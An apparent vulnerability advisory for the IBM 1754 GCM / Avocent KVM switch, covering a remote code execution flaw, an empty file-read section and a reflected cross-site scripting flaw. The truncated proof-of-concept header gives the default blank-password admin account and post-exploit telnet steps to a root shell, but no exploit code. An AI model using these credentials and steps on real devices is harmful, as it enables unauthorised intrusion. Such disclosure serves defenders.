*Product description*
The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance. Versions v1.20.0.22575 and prior are
vulnerables.
Note that this vulnerability is also present in some DELL and probably
other vendors of this rebranded KVM. I contacted Dell but no response has
been received.
*1. Remote code execution *
CVEID: CVE-2014-2085
Description: Improperly sanitized input may allow a remote authenticated
attacker to perform remote code execution on the GCM KVM switch.
PoC of this vulnerability:
#!/usr/bin/python"""
Exploit for Avocent KVM switch v1.20.0.22575.
Remote code execution with privilege elevation.
SessionId (avctSessionId) is neccesary for this to work, so you need a
valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su -" to gain root (password "root")

*2. Arbitrary file read *

*3. Cross site scripting non-persistent*
CVEID: CVE-2014-3080
Description: System is vulnerable to cross-site scripting, caused by
improper validation of user-supplied input. A remote attacker could exploit
this vulnerability using a specially-crafted URL to execute script in a
victim's Web browser within the security context of the hosting Web site,
once the URL is clicked. An attacker could use this vulnerability to steal
the victim's cookie-based authentication credentials.
